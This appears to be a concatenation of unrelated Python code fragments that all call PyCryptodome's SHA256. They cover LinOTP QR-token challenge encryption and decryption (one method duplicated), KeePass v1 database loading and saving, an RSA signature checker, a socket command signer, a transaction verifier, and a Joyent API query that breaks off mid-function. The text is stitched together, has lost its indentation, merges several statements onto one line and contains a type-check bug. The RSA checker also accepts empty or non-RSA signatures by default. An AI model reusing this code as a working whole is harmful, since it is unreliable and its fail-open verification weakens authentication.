(at the moment 'ACCEPT' or 'DENY')
:returns: (challenge, signature)
challenge has the keys
* content_type - one of the three values CONTENT_TYPE_SIGNREQ,
CONTENT_TYPE_PAIRING or CONTENT_TYPE_LOGIN)
(all defined in this module)
* transaction_id - used to identify the challenge
on the server
* callback_url (optional) - the url to which the challenge
response should be set
* user_token_id - used to identify the token in the
user database for which this challenge was created
depending on the content type additional keys are present
* for CONTENT_TYPE_PAIRING: serial
* for CONTENT_TYPE_SIGNREQ: message
* for CONTENT_TYPE_LOGIN: login, host
signature is the generated user signature used to
respond to the challenge
"""
challenge_data_encoded = challenge_url[len(self.uri + '://chal/'):]
challenge_data = decode_base64_urlsafe(challenge_data_encoded)
# ------------------------------------------------------------------ --
# parse and verify header information in the
# encrypted challenge data
header = challenge_data[0:5]
version, user_token_id = struct.unpack('<bI', header)
self.assertEqual(version, CHALLENGE_URL_VERSION)
# ------------------------------------------------------------------ --
# get token from client token database
token = self.tokens[user_token_id]
server_public_key = token['server_public_key']
# ------------------------------------------------------------------ --
# prepare decryption by seperating R from
# ciphertext and server signature
R = challenge_data[5:5 + 32]
ciphertext = challenge_data[5 + 32:-64]
server_signature = challenge_data[-64:]
# check signature
data = challenge_data[0:-64]
crypto_sign_verify_detached(server_signature, data, server_public_key)
# ------------------------------------------------------------------ --
# key derivation
secret_key_dh = dsa_to_dh_secret(self.secret_key)
ss = calc_dh(secret_key_dh, R)
U = SHA256.new(ss).digest()
sk = U[0:16]
nonce = U[16:32]
# ------------------------------------------------------------------ --
# decrypt and verify challenge
nonce_as_int = int_from_bytes(nonce, byteorder='big')
ctr = Counter.new(128, initial_value=nonce_as_int)
cipher = AES.new(sk, AES.MODE_CTR, counter=ctr)
plaintext = cipher.decrypt(ciphertext)
# ------------------------------------------------------------------ --
# parse/check plaintext header
# 1 - for content type
# 8 - for transaction id
# 8 - for time stamp
offset = 1 + 8 + 8
pt_header = plaintext[0:offset]
(content_type,
transaction_id,
_time_stamp) = struct.unpack('<bQQ', pt_header)
transaction_id = u64_to_transaction_id(transaction_id)
# ------------------------------------------------------------------ --
# prepare the parsed challenge data
challenge = {}
challenge['content_type'] = content_type
# ------------------------------------------------------------------ --
# retrieve plaintext data depending on content_type
if content_type == CONTENT_TYPE_PAIRING:
serial, callback_url, __ = plaintext[offset:].split('\x00')
challenge['serial'] = serial
elif content_type == CONTENT_TYPE_SIGNREQ:
message, callback_url, __ = plaintext[offset:].split('\x00')
challenge['message'] = message
elif content_type == CONTENT_TYPE_LOGIN:
login, host, callback_url, __ = plaintext[offset:].split('\x00')
challenge['login'] = login
challenge['host'] = host
# ------------------------------------------------------------------ --
# prepare the parsed challenge data
challenge['callback_url'] = callback_url
challenge['transaction_id'] = transaction_id
challenge['user_token_id'] = user_token_id
# calculate signature
sig_base = (
struct.pack('<b', CHALLENGE_URL_VERSION) +
b'%s\0' % action +
server_signature + plaintext)
sig = crypto_sign_detached(sig_base, self.secret_key)
encoded_sig = encode_base64_urlsafe(sig)
return challenge, encoded_sig
def decrypt_and_verify_challenge(self, challenge_url, action):
"""
Decrypts the data packed in the challenge url, verifies
its content, returns the parsed data as a dictionary,
calculates and returns the signature.
The calling method must then send the signature
back to the server. (The reason for this control flow
is that the challenge data must be checked in different
scenarios, e.g. when we have a pairing the data must be
checked by the method that simulates the pairing)
:param challenge_url: the challenge url as sent by the server
:param action: a string identifier for the verification action
(at the moment 'ACCEPT' or 'DENY')
:returns: (challenge, signature)
challenge has the keys
* content_type - one of the three values CONTENT_TYPE_SIGNREQ,
CONTENT_TYPE_PAIRING or CONTENT_TYPE_LOGIN)
(all defined in this module)
* transaction_id - used to identify the challenge
on the server
* callback_url (optional) - the url to which the challenge
response should be set
* user_token_id - used to identify the token in the
user database for which this challenge was created
depending on the content type additional keys are present
* for CONTENT_TYPE_PAIRING: serial
* for CONTENT_TYPE_SIGNREQ: message
* for CONTENT_TYPE_LOGIN: login, host
signature is the generated user signature used to
respond to the challenge
"""
challenge_data_encoded = challenge_url[len('lseqr://chal/'):]
challenge_data = decode_base64_urlsafe(challenge_data_encoded)
# ------------------------------------------------------------------ --
# parse and verify header information in the
# encrypted challenge data
header = challenge_data[0:5]
version, user_token_id = struct.unpack('<bI', header)
self.assertEqual(version, CHALLENGE_URL_VERSION)
# ------------------------------------------------------------------ --
# get token from client token database
token = self.tokens[user_token_id]
server_public_key = token['server_public_key']
# ------------------------------------------------------------------ --
# prepare decryption by seperating R from
# ciphertext and server signature
R = challenge_data[5:5 + 32]
ciphertext = challenge_data[5 + 32:-64]
server_signature = challenge_data[-64:]
# check signature
data = challenge_data[0:-64]
crypto_sign_verify_detached(server_signature, data, server_public_key)
# ------------------------------------------------------------------ --
# key derivation
secret_key_dh = dsa_to_dh_secret(self.secret_key)
ss = calc_dh(secret_key_dh, R)
U = SHA256.new(ss).digest()
sk = U[0:16]
nonce = U[16:32]
# ------------------------------------------------------------------ --
# decrypt and verify challenge
nonce_as_int = int_from_bytes(nonce, byteorder='big')
ctr = Counter.new(128, initial_value=nonce_as_int)
cipher = AES.new(sk, AES.MODE_CTR, counter=ctr)
plaintext = cipher.decrypt(ciphertext)
# ------------------------------------------------------------------ --
# parse/check plaintext header
# 1 - for content type
# 8 - for transaction id
# 8 - for time stamp
offset = 1 + 8 + 8
pt_header = plaintext[0:offset]
(content_type, transaction_id,
_time_stamp) = struct.unpack('<bQQ', pt_header)
transaction_id = u64_to_transaction_id(transaction_id)
# ------------------------------------------------------------------ --
# prepare the parsed challenge data
challenge = {}
challenge['content_type'] = content_type
# ------------------------------------------------------------------ --
# retrieve plaintext data depending on content_type
if content_type == CONTENT_TYPE_PAIRING:
serial, callback_url, __ = plaintext[offset:].split('\x00')
challenge['serial'] = serial
elif content_type == CONTENT_TYPE_SIGNREQ:
message, callback_url, __ = plaintext[offset:].split('\x00')
challenge['message'] = message
elif content_type == CONTENT_TYPE_LOGIN:
login, host, callback_url, __ = plaintext[offset:].split('\x00')
challenge['login'] = login
challenge['host'] = host
# ------------------------------------------------------------------ --
# prepare the parsed challenge data
challenge['callback_url'] = callback_url
challenge['transaction_id'] = transaction_id
challenge['user_token_id'] = user_token_id
# calculate signature
sig_base = (struct.pack('<b', CHALLENGE_URL_VERSION) +
b'%s\0' % action + server_signature + plaintext)
sig = crypto_sign_detached(sig_base, self.secret_key)
encoded_sig = encode_base64_urlsafe(sig)
return challenge, encoded_sig
from Cryptodome.Hash import SHA256 hex_hash = SHA256.new(b"Hello world!").hexdigest() print(hex_hash)
def hash(data):
h = SHA256.new()
h.update(data)
return h.hexdigest()
def hash_file(filename):
h = SHA256.new()
with open(filename, "rb") as f:
data = f.read()
h.update(data)
return h.digest()
def test_very_long_data(self):
cipher = AES.new(b'A' * 32, AES.MODE_CTR, nonce=b'')
ct = cipher.encrypt(b'B' * 1000000)
digest = SHA256.new(ct).hexdigest()
self.assertEqual(digest, "96204fc470476561a3a8f3b6fe6d24be85c87510b638142d1d0fb90989f8a6a6")
def decrypt_pairing_response(enc_pairing_response):
"""
Parses and decrypts a pairing response into a named tuple PairingResponse
consisting of
* user_public_key - the user's public key
* user_token_id - an id for the client to uniquely identify the token.
this id is necessary, because the client could
communicate with more than one linotp, so serials
could overlap.
* serial - the serial identifying the token in linotp
* user_login - the user login name
It is possible that either user_login or serial is None. Both
being None is a valid response according to this function but
will be considered an error in the calling method.
The following parameters are needed:
:param enc_pairing_response:
The urlsafe-base64 encoded string received from the client
The following exceptions can be raised:
:raises ParameterError:
If the pairing response has an invalid format
:raises ValueError:
If the pairing response has a different version
than this implementation (currently hardcoded)
:raises ValueError:
If the pairing response indicates a different
token type than QRToken (also hardcoded)
:raises ValueError:
If the pairing response field "partition" is not
identical to the field "token_type"
("partition" is currently used for the token
type id. It is reserved for multiple key usage
in a future implementation.)
:raises ValueError:
If the MAC of the response didn't match
:return:
Parsed/decrypted PairingReponse
"""
data = decode_base64_urlsafe(enc_pairing_response)
# ---------------------------------------------------------------------- --
# ------------------------------------------- --
# fields | version | partition | R | ciphertext | MAC |
# ------------------------------------------- --
# size | 1 | 4 | 32 | ? | 16 |
# ------------------------------------------- --
if len(data) < 1 + 4 + 32 + 16:
raise ParameterError('Malformed pairing response')
# ---------------------------------------------------------------------- --
# parse header
header = data[0:5]
version, partition = struct.unpack('<bI', header)
if version != PAIR_RESPONSE_VERSION:
raise ValueError('Unexpected pair-response version, '
'expected: %d, got: %d' %
(PAIR_RESPONSE_VERSION, version))
# ---------------------------------------------------------------------- --
R = data[5:32+5]
ciphertext = data[32+5:-16]
mac = data[-16:]
# ---------------------------------------------------------------------- --
# calculate the shared secret
# - --
secret_key = get_dh_secret_key(partition)
ss = calc_dh(secret_key, R)
# derive encryption key and nonce from the shared secret
# zero the values from memory when they are not longer needed
U = SHA256.new(ss).digest()
zerome(ss)
encryption_key = U[0:16]
nonce = U[16:32]
zerome(U)
# decrypt response
cipher = AES.new(encryption_key, AES.MODE_EAX, nonce)
cipher.update(header)
plaintext = cipher.decrypt_and_verify(ciphertext, mac)
zerome(encryption_key)
# ---------------------------------------------------------------------- --
# check format boundaries for type peaking
# (token type specific length boundaries are checked
# in the appropriate functions)
plaintext_min_length = 1
if len(data) < plaintext_min_length:
raise ParameterError('Malformed pairing response')
# ---------------------------------------------------------------------- --
# get token type and parse decrypted response
# -------------------- --
# fields | token type | ... |
# -------------------- --
# size | 1 | ? |
# -------------------- --
token_type = struct.unpack('<b', plaintext[0])[0]
if token_type not in SUPPORTED_TOKEN_TYPES:
raise ValueError('unsupported token type %d, supported types '
'are %s' % (token_type, SUPPORTED_TOKEN_TYPES))
# ---------------------------------------------------------------------- --
# delegate the data parsing of the plaintext
# to the appropriate function and return the result
data_parser = get_pairing_data_parser(token_type)
pairing_data = data_parser(plaintext)
zerome(plaintext)
# get the appropriate high level type
try:
token_type_as_str = INV_TOKEN_TYPES[token_type]
except KeyError:
raise ProgrammingError('token_type %d is in SUPPORTED_TOKEN_TYPES',
'however an appropriate mapping entry in '
'TOKEN_TYPES is missing' % token_type)
return PairingResponse(token_type_as_str, pairing_data)
def load(self, buf = None):
"""This method opens an existing database.
self.password/self.keyfile and self.filepath must be set.
"""
if self.password is None and self.keyfile is None:
raise KPError('Need a password or keyfile')
elif self.filepath is None and buf is None:
raise KPError('Can only load an existing database!')
if buf is None:
buf = self.read_buf()
# The header is 124 bytes long, the rest is content
header = buf[:124]
crypted_content = buf[124:]
del buf
# The header holds two signatures
if not (struct.unpack('<I', header[:4])[0] == 0x9AA2D903 and
struct.unpack('<I', header[4:8])[0] == 0xB54BFB65):
del crypted_content
del header
raise KPError('Wrong signatures!')
# Unpack the header
self._enc_flag = struct.unpack('<I', header[8:12])[0]
self._version = struct.unpack('<I', header[12:16])[0]
self._final_randomseed = struct.unpack('<16s', header[16:32])[0]
self._enc_iv = struct.unpack('<16s', header[32:48])[0]
self._num_groups = struct.unpack('<I', header[48:52])[0]
self._num_entries = struct.unpack('<I', header[52:56])[0]
self._contents_hash = struct.unpack('<32s', header[56:88])[0]
self._transf_randomseed = struct.unpack('<32s', header[88:120])[0]
self._key_transf_rounds = struct.unpack('<I', header[120:124])[0]
del header
# Check if the database is supported
if self._version & 0xFFFFFF00 != 0x00030002 & 0xFFFFFF00:
del crypted_content
raise KPError('Unsupported file version!')
#Actually, only AES is supported.
elif not self._enc_flag & 2:
del crypted_content
raise KPError('Unsupported file encryption!')
if self.password is None:
masterkey = self._get_filekey()
elif self.password is not None and self.keyfile is not None:
passwordkey = self._get_passwordkey()
filekey = self._get_filekey()
sha = SHA256.new()
sha.update(passwordkey+filekey)
masterkey = sha.digest()
else:
masterkey = self._get_passwordkey()
# Create the key that is needed to...
final_key = self._transform_key(masterkey)
# ...decrypt the content
decrypted_content = self._cbc_decrypt(final_key, crypted_content)
# Check if decryption failed
if ((len(decrypted_content) > 2147483446) or
(len(decrypted_content) == 0 and self._num_groups > 0)):
del decrypted_content
del crypted_content
raise KPError("Decryption failed!\nThe key is wrong or the file is"
" damaged.")
sha_obj = SHA256.new()
sha_obj.update(decrypted_content)
if not self._contents_hash == sha_obj.digest():
del masterkey
del final_key
raise KPError("Hash test failed.\nThe key is wrong or the file is "
"damaged.")
del masterkey
del final_key
# Read out the groups
pos = 0
levels = []
cur_group = 0
group = v1Group()
while cur_group < self._num_groups:
# Every group is made up of single fields
field_type = struct.unpack('<H', decrypted_content[:2])[0]
decrypted_content = decrypted_content[2:]
pos += 2
# Check if offset is alright
if pos >= len(crypted_content)+124:
del decrypted_content
del crypted_content
raise KPError('Unexpected error: Offset is out of range.[G1]')
field_size = struct.unpack('<I', decrypted_content[:4])[0]
decrypted_content = decrypted_content[4:]
pos += 4
if pos >= len(crypted_content)+124:
del decrypted_content
del crypted_content
raise KPError('Unexpected error: Offset is out of range.[G2]')
# Finally read out the content
b_ret = self._read_group_field(group, levels, field_type,
field_size, decrypted_content)
# If the end of a group is reached append it to the groups array
if field_type == 0xFFFF and b_ret == True:
group.db = self
self.groups.append(group)
group = v1Group()
cur_group += 1
decrypted_content = decrypted_content[field_size:]
if pos >= len(crypted_content)+124:
del decrypted_content
del crypted_content
raise KPError('Unexpected error: Offset is out of range.[G1]')
# Now the same with the entries
cur_entry = 0
entry = v1Entry()
while cur_entry < self._num_entries:
field_type = struct.unpack('<H', decrypted_content[:2])[0]
decrypted_content = decrypted_content[2:]
pos += 2
if pos >= len(crypted_content)+124:
del decrypted_content
del crypted_content
raise KPError('Unexpected error: Offset is out of range.[G1]')
field_size = struct.unpack('<I', decrypted_content[:4])[0]
decrypted_content = decrypted_content[4:]
pos += 4
if pos >= len(crypted_content)+124:
del decrypted_content
del crypted_content
raise KPError('Unexpected error: Offset is out of range.[G2]')
b_ret = self._read_entry_field(entry, field_type, field_size,
decrypted_content)
if field_type == 0xFFFF and b_ret == True:
self.entries.append(entry)
if entry.group_id is None:
del decrypted_content
del crypted_content
raise KPError("Found entry without group!")
entry = v1Entry()
cur_entry += 1
decrypted_content = decrypted_content[field_size:]
pos += field_size
if pos >= len(crypted_content)+124:
del decrypted_content
del crypted_content
raise KPError('Unexpected error: Offset is out of range.[G1]')
if self._create_group_tree(levels) is False:
del decrypted_content
del crypted_content
return False
del decrypted_content
del crypted_content
if self.filepath is not None:
with open(self.filepath+'.lock', 'w') as handler:
handler.write('')
return True
def _get_passwordkey(self):
"""This method just hashes self.password."""
sha = SHA256.new()
sha.update(self.password.encode('utf-8'))
return sha.digest()
def create_challenge_url(self,
transaction_id,
content_type,
callback_url='',
message=None,
login=None,
host=None):
"""
creates a challenge url (looking like lseqr://push/<base64string>),
returns the url and the unencrypted challenge data
:param transaction_id: The transaction id generated by LinOTP
:param content_type: One of the types CONTENT_TYPE_SIGNREQ,
CONTENT_TYPE_PAIRING, CONTENT_TYPE_LOGIN
:param callback_url: callback url (optional), default is
empty string
:param message: the transaction message, that should be signed
by the client. Only for content type CONTENT_TYPE_SIGNREQ
:param login: the login name of the user. Only for content type
CONTENT_TYPE_LOGIN
:param host: hostname of the user. Only for content type
CONTENT_TYPE_LOGIN
:returns: tuple (challenge_url, sig_base), with challenge_url being
the push url and sig_base the message, that is used for
the client signature
"""
serial = self.getSerial()
# ------------------------------------------------------------------- --
# sanity/format checks
if content_type not in [CONTENT_TYPE_SIGNREQ,
CONTENT_TYPE_PAIRING, CONTENT_TYPE_LOGIN]:
raise InvalidFunctionParameter('content_type', 'content_type must '
'be CONTENT_TYPE_SIGNREQ, '
'CONTENT_TYPE_PAIRING or '
'CONTENT_TYPE_LOGIN.')
# ------------------------------------------------------------------- --
# after the lseqr://push/ prefix the following data is encoded
# in urlsafe base64:
# ---------------------------------------------------
# fields | version | user token id | R | ciphertext | sign |
# ---------------------------------------------------
# | header | body |
# ---------------------------------------------------
# size | 1 | 4 | 32 | ? | 64 |
# ---------------------------------------------------
#
# create header
user_token_id = self.getFromTokenInfo('user_token_id')
data_header = struct.pack('<bI', CHALLENGE_URL_VERSION, user_token_id)
# ------------------------------------------------------------------- --
# create body
r = urandom(32)
R = calc_dh_base(r)
b64_user_dsa_public_key = self.getFromTokenInfo('user_dsa_public_key')
user_dsa_public_key = b64decode(b64_user_dsa_public_key)
user_dh_public_key = dsa_to_dh_public(user_dsa_public_key)
ss = calc_dh(r, user_dh_public_key)
U = SHA256.new(ss).digest()
zerome(ss)
sk = U[0:16]
nonce = U[16:32]
zerome(U)
# ------------------------------------------------------------------- --
# create plaintext section
# ------------------------------------------------------------------- --
# generate plaintext header
# ------------------------------------------------
# fields | content_type | transaction_id | timestamp | ..
# ------------------------------------------------
# size | 1 | 8 | 8 | ?
# -------------------------------------------------
transaction_id = transaction_id_to_u64(transaction_id)
plaintext = struct.pack('<bQQ', content_type, transaction_id,
int(time.time()))
# ------------------------------------------------------------------- --
utf8_callback_url = callback_url.encode('utf8')
# enforce max url length as specified in protocol
if len(utf8_callback_url) > 511:
raise InvalidFunctionParameter('callback_url', 'max string '
'length (encoded as utf8) is '
'511')
# ------------------------------------------------------------------- --
# create data package depending on content type
# ------------------------------------------------------------------- --
if content_type == CONTENT_TYPE_PAIRING:
# -----------------------------------------
# fields | header | serial | NUL | callback | NUL |
# -----------------------------------------
# size | 9 | ? | 1 | ? | 1 |
# -----------------------------------------
utf8_serial = serial.encode('utf8')
if len(utf8_serial) > 63:
raise ValueError('serial (encoded as utf8) can only be 63 '
'characters long')
plaintext += utf8_serial + b'\00' + utf8_callback_url + b'\00'
# ------------------------------------------------------------------- --
if content_type == CONTENT_TYPE_SIGNREQ:
if message is None:
raise InvalidFunctionParameter('message', 'message must be '
'supplied for content type '
'SIGNREQ')
# ------------------------------------------
# fields | header | message | NUL | callback | NUL |
# ------------------------------------------
# size | 9 | ? | 1 | ? | 1 |
# ------------------------------------------
utf8_message = message.encode('utf8')
# enforce max sizes specified by protocol
if len(utf8_message) > 511:
raise InvalidFunctionParameter('message', 'max string '
'length (encoded as utf8) is '
'511')
plaintext += utf8_message + b'\00' + utf8_callback_url + b'\00'
# ------------------------------------------------------------------- --
if content_type == CONTENT_TYPE_LOGIN:
if login is None:
raise InvalidFunctionParameter('login', 'login must be '
'supplied for content type '
'LOGIN')
if host is None:
raise InvalidFunctionParameter('host', 'host must be '
'supplied for content type '
'LOGIN')
# -----------------------------------------------------
# fields | header | login | NUL | host | NUL | callback | NUL |
# -----------------------------------------------------
# size | 9 | ? | 1 | ? | 1 | ? | 1 |
# -----------------------------------------------------
utf8_login = login.encode('utf8')
utf8_host = host.encode('utf8')
# enforce max sizes specified by protocol
if len(utf8_login) > 127:
raise InvalidFunctionParameter('login', 'max string '
'length (encoded as utf8) is '
'127')
if len(utf8_host) > 255:
raise InvalidFunctionParameter('host', 'max string '
'length (encoded as utf8) is '
'255')
plaintext += utf8_login + b'\00'
plaintext += utf8_host + b'\00'
plaintext += utf8_callback_url + b'\00'
# ------------------------------------------------------------------- --
# encrypt inner layer
nonce_as_int = int_from_bytes(nonce, byteorder='big')
ctr = Counter.new(128, initial_value=nonce_as_int)
cipher = AES.new(sk, AES.MODE_CTR, counter=ctr)
ciphertext = cipher.encrypt(plaintext)
unsigned_raw_data = data_header + R + ciphertext
# ------------------------------------------------------------------- --
# create signature
partition = self.getFromTokenInfo('partition')
secret_key = get_secret_key(partition)
signature = crypto_sign_detached(unsigned_raw_data, secret_key)
raw_data = unsigned_raw_data + signature
protocol_id = config.get('mobile_app_protocol_id', 'lseqr')
url = protocol_id + '://push/' + encode_base64_urlsafe(raw_data)
return url, (signature + plaintext)
def save(self, filepath = None, password = None, keyfile = None):
"""This method saves the database.
It's possible to parse a data path to an alternative file.
"""
if (password is None and keyfile is not None and keyfile != "" and
type(keyfile) is str):
self.keyfile = keyfile
elif (keyfile is None and password is not None and password != "" and
type(password is str)):
self.password = password
elif (keyfile is not None and password is not None and
keyfile != "" and password != "" and type(keyfile) is str and
type(password) is str):
self.keyfile = keyfile
self.password = password
if self.read_only:
raise KPError("The database has been opened read-only.")
elif ((self.password is None and self.keyfile is None) or
(filepath is None and self.filepath is None) or
(keyfile == "" and password == "")):
raise KPError("Need a password/keyfile and a filepath to save the "
"file.")
elif ((type(self.filepath) is not str and self.filepath is not None) or
(type(self.password) is not str and self.password is not None) or
(type(self.keyfile) is not str and self.keyfile is not None)):
raise KPError("filepath, password and keyfile must be strings.")
elif self._num_groups == 0:
raise KPError("Need at least one group!")
content = bytearray()
# First, read out all groups
for i in self.groups:
# Get the packed bytes
# j stands for a possible field type
for j in range(1, 10):
ret_save = self._save_group_field(j, i)
# The field type and the size is always in front of the data
if ret_save is not False:
content += struct.pack('<H', j)
content += struct.pack('<I', ret_save[0])
content += ret_save[1]
# End of field
content += struct.pack('<H', 0xFFFF)
content += struct.pack('<I', 0)
# Same with entries
for i in self.entries:
for j in range(1, 15):
ret_save = self._save_entry_field(j, i)
if ret_save is not False:
content += struct.pack('<H', j)
content += struct.pack('<I', ret_save[0])
content += ret_save[1]
content += struct.pack('<H', 0xFFFF)
content += struct.pack('<I', 0)
# Generate new seed and new vector; calculate the new hash
Random.atfork()
self._final_randomseed = Random.get_random_bytes(16)
self._enc_iv = Random.get_random_bytes(16)
sha_obj = SHA256.new()
sha_obj.update(bytes(content))
self._contents_hash = sha_obj.digest()
del sha_obj
# Pack the header
header = bytearray()
header += struct.pack('<I', 0x9AA2D903)
header += struct.pack('<I', 0xB54BFB65)
header += struct.pack('<I', self._enc_flag)
header += struct.pack('<I', self._version)
header += struct.pack('<16s', self._final_randomseed)
header += struct.pack('<16s', self._enc_iv)
header += struct.pack('<I', self._num_groups)
header += struct.pack('<I', self._num_entries)
header += struct.pack('<32s', self._contents_hash)
header += struct.pack('<32s', self._transf_randomseed)
if self._key_transf_rounds < 150000:
self._key_transf_rounds = 150000
header += struct.pack('<I', self._key_transf_rounds)
# Finally encrypt everything...
if self.password is None:
masterkey = self._get_filekey()
elif self.password is not None and self.keyfile is not None:
passwordkey = self._get_passwordkey()
filekey = self._get_filekey()
sha = SHA256.new()
sha.update(passwordkey+filekey)
masterkey = sha.digest()
else:
masterkey = self._get_passwordkey()
final_key = self._transform_key(masterkey)
encrypted_content = self._cbc_encrypt(content, final_key)
del content
del masterkey
del final_key
# ...and write it out
if filepath is not None:
try:
handler = open(filepath, "wb")
except IOError:
raise KPError("Can't open {0}".format(filepath))
if self.filepath is None:
self.filepath = filepath
elif filepath is None and self.filepath is not None:
try:
handler = open(self.filepath, "wb")
except IOError:
raise KPError("Can't open {0}".format(self.filepath))
else:
raise KPError("Need a filepath.")
try:
handler.write(header+encrypted_content)
except IOError:
raise KPError("Can't write to file.")
finally:
handler.close()
if not path.isfile(self.filepath+".lock"):
try:
lock = open(self.filepath+".lock", "w")
lock.write('')
except IOError:
raise KPError("Can't create lock-file {0}".format(self.filepath
+".lock"))
else:
lock.close()
return True
async def sha256_rsa_checker(name: FormalName,
sig: SignaturePtrs,
key_bits=None) -> bool:
sig_info = sig.signature_info
if len(bytes(sig.signature_value_buf)) == 0:
# For conditions without signature
return True
# print("Signature type: ", sig_info.signature_type)
if key_bits is None:
# Default RSA key
key_bits = bytes([
0x30, 0x82, 0x01, 0x22, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48,
0x86, 0xf7, 0x0d, 0x01, 0x01, 0x01, 0x05, 0x00, 0x03, 0x82, 0x01,
0x0f, 0x00, 0x30, 0x82, 0x01, 0x0a, 0x02, 0x82, 0x01, 0x01, 0x00,
0xb8, 0x09, 0xa7, 0x59, 0x82, 0x84, 0xec, 0x4f, 0x06, 0xfa, 0x1c,
0xb2, 0xe1, 0x38, 0x93, 0x53, 0xbb, 0x7d, 0xd4, 0xac, 0x88, 0x1a,
0xf8, 0x25, 0x11, 0xe4, 0xfa, 0x1d, 0x61, 0x24, 0x5b, 0x82, 0xca,
0xcd, 0x72, 0xce, 0xdb, 0x66, 0xb5, 0x8d, 0x54, 0xbd, 0xfb, 0x23,
0xfd, 0xe8, 0x8e, 0xaf, 0xa7, 0xb3, 0x79, 0xbe, 0x94, 0xb5, 0xb7,
0xba, 0x17, 0xb6, 0x05, 0xae, 0xce, 0x43, 0xbe, 0x3b, 0xce, 0x6e,
0xea, 0x07, 0xdb, 0xbf, 0x0a, 0x7e, 0xeb, 0xbc, 0xc9, 0x7b, 0x62,
0x3c, 0xf5, 0xe1, 0xce, 0xe1, 0xd9, 0x8d, 0x9c, 0xfe, 0x1f, 0xc7,
0xf8, 0xfb, 0x59, 0xc0, 0x94, 0x0b, 0x2c, 0xd9, 0x7d, 0xbc, 0x96,
0xeb, 0xb8, 0x79, 0x22, 0x8a, 0x2e, 0xa0, 0x12, 0x1d, 0x42, 0x07,
0xb6, 0x5d, 0xdb, 0xe1, 0xf6, 0xb1, 0x5d, 0x7b, 0x1f, 0x54, 0x52,
0x1c, 0xa3, 0x11, 0x9b, 0xf9, 0xeb, 0xbe, 0xb3, 0x95, 0xca, 0xa5,
0x87, 0x3f, 0x31, 0x18, 0x1a, 0xc9, 0x99, 0x01, 0xec, 0xaa, 0x90,
0xfd, 0x8a, 0x36, 0x35, 0x5e, 0x12, 0x81, 0xbe, 0x84, 0x88, 0xa1,
0x0d, 0x19, 0x2a, 0x4a, 0x66, 0xc1, 0x59, 0x3c, 0x41, 0x83, 0x3d,
0x3d, 0xb8, 0xd4, 0xab, 0x34, 0x90, 0x06, 0x3e, 0x1a, 0x61, 0x74,
0xbe, 0x04, 0xf5, 0x7a, 0x69, 0x1b, 0x9d, 0x56, 0xfc, 0x83, 0xb7,
0x60, 0xc1, 0x5e, 0x9d, 0x85, 0x34, 0xfd, 0x02, 0x1a, 0xba, 0x2c,
0x09, 0x72, 0xa7, 0x4a, 0x5e, 0x18, 0xbf, 0xc0, 0x58, 0xa7, 0x49,
0x34, 0x46, 0x61, 0x59, 0x0e, 0xe2, 0x6e, 0x9e, 0xd2, 0xdb, 0xfd,
0x72, 0x2f, 0x3c, 0x47, 0xcc, 0x5f, 0x99, 0x62, 0xee, 0x0d, 0xf3,
0x1f, 0x30, 0x25, 0x20, 0x92, 0x15, 0x4b, 0x04, 0xfe, 0x15, 0x19,
0x1d, 0xdc, 0x7e, 0x5c, 0x10, 0x21, 0x52, 0x21, 0x91, 0x54, 0x60,
0x8b, 0x92, 0x41, 0x02, 0x03, 0x01, 0x00, 0x01
])
if sig_info and sig_info.signature_type == SignatureType.SHA256_WITH_RSA:
startTime = time()
pub_key = RSA.import_key(key_bits)
verifier = pkcs1_15.new(pub_key)
h = SHA256.new()
for content in sig.signature_covered_part:
logging.debug("Hash content {}".format(bytes(content)))
h.update(content)
try:
logging.debug("Signature value {}".format(
bytes(sig.signature_value_buf)))
verifier.verify(h, bytes(sig.signature_value_buf))
except ValueError:
logging.info(
f'{Name.to_str(name)} => Unable to verify the signature')
return False
logging.debug(f'{Name.to_str(name)} => Verification passed')
logging.debug("Validation time is {}".format(time() - startTime))
return True
else:
print("Validator return true by default")
return True
def executeCommand(command):
# print(command)
isForDeposit = False
# secure command option
if command[0] == 't':
isSecure = True
# OP_GET_READY_FOR_DEPOSIT
if command[2] == 'v':
isForDeposit = True
else:
isSecure = False
if command[0] == 'r':
isForDeposit = True
split_command = command.split(" ")
#print(split_command)
# commnad's last string means message sender
user = split_command[-1]
if isSecure:
# remove 't ' from command
command = " ".join(split_command[1:-1])
else:
command = " ".join(split_command[:-1])
# encode command
command = command.encode('utf-8')
# encryption using ECDSA
# try:
# with open("./key/private_key_{}.pem".format(user)) as f:
# sk = ecdsa.SigningKey.from_pem(f.read())
# with open("./key/public_key_{}.pem".format(user)) as f:
# vk = ecdsa.VerifyingKey.from_pem(f.read())
# except:
# print("no user key")
# return None, None
try:
with open("./key/private_key_{}.pem".format(user), "rb") as f:
sk = RSA.import_key(f.read())
with open("./key/public_key_{}.pem".format(user), "rb") as f:
vk = RSA.import_key(f.read())
except:
print("no user key")
exit()
# if isForDeposit:
# pubkey = b"\x04" + vk.pubkey.point.x().to_bytes(32, 'big') + vk.pubkey.point.y().to_bytes(32, 'big')
# command = command + b" " + pubkey
# sig = sk.sign(command, hashfunc=hashlib.sha256)
# # print(command)
# try:
# vk.verify(sig, command, hashfunc=hashlib.sha256)
# print("good signature")
# except:
# print("bad signature")
# message = command + b" " + sig
if isForDeposit:
pubkey = (vk.n).to_bytes(384, 'little')
# pubkey_hex = pubkey.hex()
# print(pubkey_hex)
message = command + b" " + pubkey
else:
hash = SHA256.new(command)
# print(hash.digest().hex())
sig = pkcs1_15.new(sk).sign(hash)
message = command + b" " + sig
# try:
# pkcs1_15.new(vk).verify(hash, sig)
# except:
# print("bad signature")
# exit()
if isSecure:
# execute secure_command
# print("secure command")
return secure_command(message, user)
# continue
# send message to server
startTime = datetime.now()
# send command + signature to routee
client_socket.sendall(message)
# get response from server
data = client_socket.recv(1024)
elapsed = datetime.now() - startTime
# print(elapsed)
return data.decode(), elapsed
def verify_transaction(transaction):
public_key = RSA.importKey(binascii.unhexlify(transaction.sender))
verifier = PKCS1_v1_5.new(public_key)
h = SHA256.new((str(transaction.sender) + str(transaction.recipient) +
str(transaction.amount)).encode('utf8'))
return verifier.verify(h, binascii.unhexlify(transaction.signature))
def query(action=None,
command=None,
args=None,
method='GET',
location=None,
data=None):
'''
Make a web call to Joyent
'''
user = config.get_cloud_config_value('user',
get_configured_provider(),
__opts__,
search_global=False)
if not user:
log.error(
'username is required for Joyent API requests. Please set one in your provider configuration'
)
password = config.get_cloud_config_value('password',
get_configured_provider(),
__opts__,
search_global=False)
verify_ssl = config.get_cloud_config_value('verify_ssl',
get_configured_provider(),
__opts__,
search_global=False,
default=True)
ssh_keyfile = config.get_cloud_config_value('private_key',
get_configured_provider(),
__opts__,
search_global=False,
default=True)
if not ssh_keyfile:
